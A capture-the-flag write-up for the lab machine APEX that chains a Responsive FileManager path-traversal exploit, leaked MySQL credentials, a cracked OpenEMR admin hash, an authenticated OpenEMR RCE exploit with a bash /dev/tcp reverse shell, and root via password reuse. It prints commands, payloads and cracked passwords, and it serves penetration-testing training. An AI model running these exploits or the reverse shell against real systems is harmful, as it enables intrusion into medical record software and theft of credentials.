Summary #
On port 80 is running a filemanager with a known vulnerability. We can use this exploit to get credentials of a sql user called openemr
. With these credentials we can login the MySQL database and extract the admin hash which allows access to the OpenEMR application. With valid credentials to the OpenEMR application we can use another exploit for this application to get initial access. For privilege escalations we’ll reuse a password to get root.
Specifications #
- Name: APEX
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- OS: Linux APEX 4.15.0-143-generic #147-Ubuntu SMP Wed Apr 14 16:10:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.151.145
- OFFSEC provided credentials: None
- HASH:
local.txt
:1b03d85145c777121d0d324a7f98c69f
- HASH:
proof.txt
:6e9add43cbc7cc1046078839423a95d7
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir apex && cd apex && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 20 18:33 .
drwxrwxr-x 11 kali kali 4096 Jul 20 18:33 ..
drwxrwxr-x 2 kali kali 4096 Jul 20 18:33 enum
drwxrwxr-x 2 kali kali 4096 Jul 20 18:33 exploits
drwxrwxr-x 2 kali kali 4096 Jul 20 18:33 files
drwxrwxr-x 2 kali kali 4096 Jul 20 18:33 tools
drwxrwxr-x 2 kali kali 4096 Jul 20 18:33 uploads
## set bash variable
ip=192.168.151.145
## ping target to check if it's online
ping $ip
PING 192.168.151.145 (192.168.151.145) 56(84) bytes of data.
64 bytes from 192.168.151.145: icmp_seq=1 ttl=61 time=19.2 ms
64 bytes from 192.168.151.145: icmp_seq=2 ttl=61 time=17.9 ms
^C
--- 192.168.151.145 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 17.865/18.530/19.196/0.665 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.151.145:80
Open 192.168.151.145:445
Open 192.168.151.145:3306
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 18:45 CEST
Initiating Ping Scan at 18:45
Scanning 192.168.151.145 [4 ports]
Completed Ping Scan at 18:45, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:45
Completed Parallel DNS resolution of 1 host. at 18:45, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:45
Scanning 192.168.151.145 [3 ports]
Discovered open port 3306/tcp on 192.168.151.145
Discovered open port 445/tcp on 192.168.151.145
Discovered open port 80/tcp on 192.168.151.145
Completed SYN Stealth Scan at 18:45, 0.04s elapsed (3 total ports)
Nmap scan report for 192.168.151.145
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-07-20 18:45:34 CEST for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
80/tcp open http syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
80,445,3306
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 80,445,3306 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: APEX Hospital
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql syn-ack ttl 61 MariaDB 5.5.5-10.1.48
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 34
| Capabilities flags: 63487
| Some Capabilities: LongColumnFlag, Support41Auth, SupportsCompression, SupportsTransactions, ConnectWithDatabase, SupportsLoadDataLocal, Speaks41ProtocolOld, InteractiveClient, LongPassword, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, FoundRows, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: gov&SS(ja&6|0x/{D!sE
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: APEX
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: apex
| NetBIOS computer name: APEX\x00
| Domain name: \x00
| FQDN: apex
|_ System time: 2025-07-20T12:46:58-04:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 14395/tcp): CLEAN (Timeout)
| Check 2 (port 40337/tcp): CLEAN (Timeout)
| Check 3 (port 45586/udp): CLEAN (Timeout)
| Check 4 (port 62259/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb2-time:
| date: 2025-07-20T16:47:00
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: APEX Hospital
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql syn-ack ttl 61 MariaDB 5.5.5-10.1.48
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 34
| Capabilities flags: 63487
| Some Capabilities: LongColumnFlag, Support41Auth, SupportsCompression, SupportsTransactions, ConnectWithDatabase, SupportsLoadDataLocal, Speaks41ProtocolOld, InteractiveClient, LongPassword, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, FoundRows, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: gov&SS(ja&6|0x/{D!sE
|_ Auth Plugin Name: mysql_native_password
We first need to run a gobuster
on port 80 to perform directory enumeration.
## perform directory enumeration
gobuster -t 100 dir -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.151.145:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/source (Status: 301) [Size: 319] [--> http://192.168.151.145/source/]
/thumbs (Status: 301) [Size: 319] [--> http://192.168.151.145/thumbs/]
/filemanager (Status: 301) [Size: 324] [--> http://192.168.151.145/filemanager/]
/assets (Status: 301) [Size: 319] [--> http://192.168.151.145/assets/]
/server-status (Status: 403) [Size: 280]
Progress: 62286 / 62287 (100.00%)
===============================================================
Finished
===============================================================
There is a directory called filemanager
. Visit the site on URL: http://192.168.151.145/filemanager/. In the top right corner there is a question mark, once clicked we can see the version of this application, namely responsive filemanager v.9.13.4
.

When we search on the internet for an exploit for this application we can find: https://www.exploit-db.com/exploits/49359?source=post_page-----834e61a9fc03---------------------------------------. Using searchsploit we can also find this exploit (php/webapps/49359.py) and mirror it locally.
## change directory
cd exploits
## using searchsploit to find the exploit
searchsploit filemanager 9.13.4
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Responsive FileManager 9.13.4 - 'path' Path Traversal | php/webapps/49359.py
Responsive FileManager 9.13.4 - Multiple Vulnerabilities | php/webapps/45987.txt
Responsive FileManager < 9.13.4 - Directory Traversal | php/webapps/45271.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## mirror exploit locally
searchsploit -m php/webapps/49359.py
Exploit: Responsive FileManager 9.13.4 - 'path' Path Traversal
URL: https://www.exploit-db.com/exploits/49359
Path: /usr/share/exploitdb/exploits/php/webapps/49359.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
The exploit shows it needs a valid session ID from the filemanager webapplication. To get a valid session ID we can use curl
to request the filemanager page and only show the headers of the response using the -I
options within curl
. Once we have the session ID we can run the exploit.
## show only headers of response
curl -I http://192.168.151.145/filemanager/
HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 17:01:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=rbmrh03cgv4snpqrn9kg1cioar; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: last_position=%2F; expires=Sun, 27-Jul-2025 17:01:33 GMT; Max-Age=604800
Content-Type: text/html; charset=UTF-8
## run the exploit
python3 49359.py http://192.168.151.145/ PHPSESSID=rbmrh03cgv4snpqrn9kg1cioar /etc/passwd
[*] Copy Clipboard
[*] Paste Clipboard
root:x:0:0:root:/root:/bin/bash
<SNIP>
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
white:x:1000:1000::/home/white:/bin/sh
If we go to the website itself and click on Schedule
we got to the following login page which shows that an openemr
application is being used.

Since this application is configured the file we want to get is the sqlconf.php
file, which is in the /var/www/openemr/site/default
directory (https://sourceforge.net/p/openemr/discussion/202505/thread/75cfb4f6/). But if we try to get this file using the exploit is will not display the result. There’s also a SMB share we can list using nxc
.
## list shares using `nxc`
nxc smb $ip -u 'guest' -p '' --shares
SMB 192.168.151.145 445 APEX [*] Unix - Samba (name:APEX) (domain:) (signing:False) (SMBv1:True)
SMB 192.168.151.145 445 APEX [+] \guest: (Guest)
SMB 192.168.151.145 445 APEX [*] Enumerated shares
SMB 192.168.151.145 445 APEX Share Permissions Remark
SMB 192.168.151.145 445 APEX ----- ----------- ------
SMB 192.168.151.145 445 APEX print$ Printer Drivers
SMB 192.168.151.145 445 APEX docs READ Documents
SMB 192.168.151.145 445 APEX IPC$ IPC Service (APEX server (Samba, Ubuntu))
Perhaps we can dump the file in this docs
SMB share, which is the same folder a within /filemanager
. We need to alter the exploit to paste the clipboard to the path /Documents
as described in the remark of the docs
share and in the filemanager available folders.
def paste_clipboard(url, session_cookie):
headers = {'Cookie': session_cookie,'Content-Type': 'application/x-www-form-urlencoded'}
url_paste = "%s/filemanager/execute.php?action=paste_clipboard" % (url)
r = requests.post(
url_paste, data="path=/Documents", headers=headers)
return r.status_code
Once we have edited the exploit we can run the exploit and the output should be dumped in the SMB share docs
.
## run the exploit
python3 49359.py http://192.168.151.145 PHPSESSID=rbmrh03cgv4snpqrn9kg1cioar /var/www/openemr/sites/default/sqlconf.php
[*] Copy Clipboard
[*] Paste Clipboard
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.151.145 Port 80</address>
</body></html>
Despite the error, once we login to the SMB share with null authentication we can download the file and print the content.
## connect to the SMB server and just enter when asked for the password
smbclient \\\\$ip\\docs -U ''
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jul 20 19:53:52 2025
.. D 0 Fri Apr 9 17:47:12 2021
sqlconf.php N 639 Sun Jul 20 19:54:05 2025
OpenEMR Success Stories.pdf A 290738 Fri Apr 9 17:47:12 2021
OpenEMR Features.pdf A 490355 Fri Apr 9 17:47:12 2021
16446332 blocks of size 1024. 10834260 blocks available
## download the file
smb: \> get sqlconf.php
getting file \sqlconf.php of size 639 as sqlconf.php (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)
## exit the SMB server
exit
## print `sqlconf.php`
cat sqlconf.php
<?php
// OpenEMR
// MySQL Config
$host = 'localhost';
$port = '3306';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';
//Added ability to disable
//utf8 encoding - bm 05-2009
global $disable_utf8_flag;
$disable_utf8_flag = false;
$sqlconf = array();
global $sqlconf;
$sqlconf["host"]= $host;
$sqlconf["port"] = $port;
$sqlconf["login"] = $login;
$sqlconf["pass"] = $pass;
$sqlconf["dbase"] = $dbase;
//////////////////////////
//////////////////////////
//////////////////////////
//////DO NOT TOUCH THIS///
$config = 1; /////////////
//////////////////////////
//////////////////////////
//////////////////////////
?>
So, we found credentials: openemr:C78maEQUIEuQ
. Since SSH is not available these credentials will probably be for MySQL. Let’s try them.
## connect to MySQL
mysql -u openemr -p'C78maEQUIEuQ' -h 192.168.151.145 -P 3306 --skip-ssl
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 32
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Yes, we can connect. Let’s get some credentials.
## show all databases
MariaDB [openemr]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| openemr |
+--------------------+
2 rows in set (0.019 sec)
## select a database
MariaDB [openemr]> use openemr;
Database changed
## show all tables
MariaDB [openemr]> show tables;
+---------------------------------------+
| Tables_in_openemr |
+---------------------------------------+
| addresses |
| amc_misc_data |
<SNIP>
| users |
| users_facility |
| users_secure |
| valueset |
| version |
| voids |
| x12_partners |
+---------------------------------------+
234 rows in set (0.021 sec)
## get username and password from the table `users_secure`
MariaDB [openemr]> select username,password from users_secure;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC |
+----------+--------------------------------------------------------------+
1 row in set (0.022 sec)
Now that we have a hash, we can use hashcat
to try and crack it with the rockyou.txt
wordlist. First save the hash to a file called hash
.
## change directory
cd files
## create a file called `hash` and paste in the hash
nano hash
## run hashcat with mode 3200
hashcat -m 3200 ./hash /opt/rockyou.txt
## result:
$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC:thedoctor
So the credentials are: admin:thedoctor
. When we try these credentials on the OpenEMR application on: http://192.168.151.145/openemr/interface/login/login.php?site=default, we indeed get in. When we click on About
we get the current version OpenEMR v5.0.1
.

Using using searchsploit
we can find an exploit for this version of the software, copy it locally, run it and catch a reverse shell as the www-data
user.
## search for an exploit
searchsploit openemr 5.0.1
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1) | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) | php/webapps/50087.rb
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## mirror the exploit locally
searchsploit -m php/webapps/45161.py
Exploit: OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/45161
Path: /usr/share/exploitdb/exploits/php/webapps/45161.py
Codes: N/A
Verified: True
File Type: ASCII text
## run a listener on a known open port
nc -lvnp 445
## run the exploit
python2 45161.py http://192.168.151.145/openemr -u admin -p thedoctor -c 'bash -i >& /dev/tcp/192.168.45.195/445 0>&1'
.---. ,---. ,---. .-. .-.,---. ,---.
/ .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\
| | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/
| | | | | |--' | .-' | |\ || .-' (_)\/ || (
\ `-' / | | | `--.| | |)|| `--.| \ / || |\ \
)---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\
(_) (__) (__) (__) (__) '-' '-' (__)
={ P R O J E C T I N S E C U R I T Y }=
Twitter : @Insecurity
Site : insecurity.sh
[$] Authenticating with admin:thedoctor
[$] Injecting payload
## catch the reverse shell
nc -lvnp 445
listening on [any] 445 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.151.145] 57560
bash: cannot set terminal process group (1324): Inappropriate ioctl for device
bash: no job control in this shell
www-data@APEX:/var/www/openemr/interface/main$ whoami
www-data
Now we got initial access, let’s print the local.txt
.
## change directory to the root of the `white` user
www-data@APEX:/home/white$ cd /home/white
## print `local.txt`
www-data@APEX:/home/white$ cat local.txt
1b03d85145c777121d0d324a7f98c69f
Privilege Escalation #
Because we’re not in tty we cannot switch user, so we need to upgrade our shell. Once in an upgraded terminal we can switch to the root
user with the password thedoctor
.
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@APEX:/home/white$ export TERM=xterm
www-data@APEX:/home/white$ stty columns 200 rows 200
## switch to the `root` user
www-data@APEX:/home/white$ su root
Password:
## run whoami
root@APEX:/home/white# whoami
root
## print `proof.txt`
root@APEX:/home/white# cat /root/proof.txt
6e9add43cbc7cc1046078839423a95d7
References #
[+]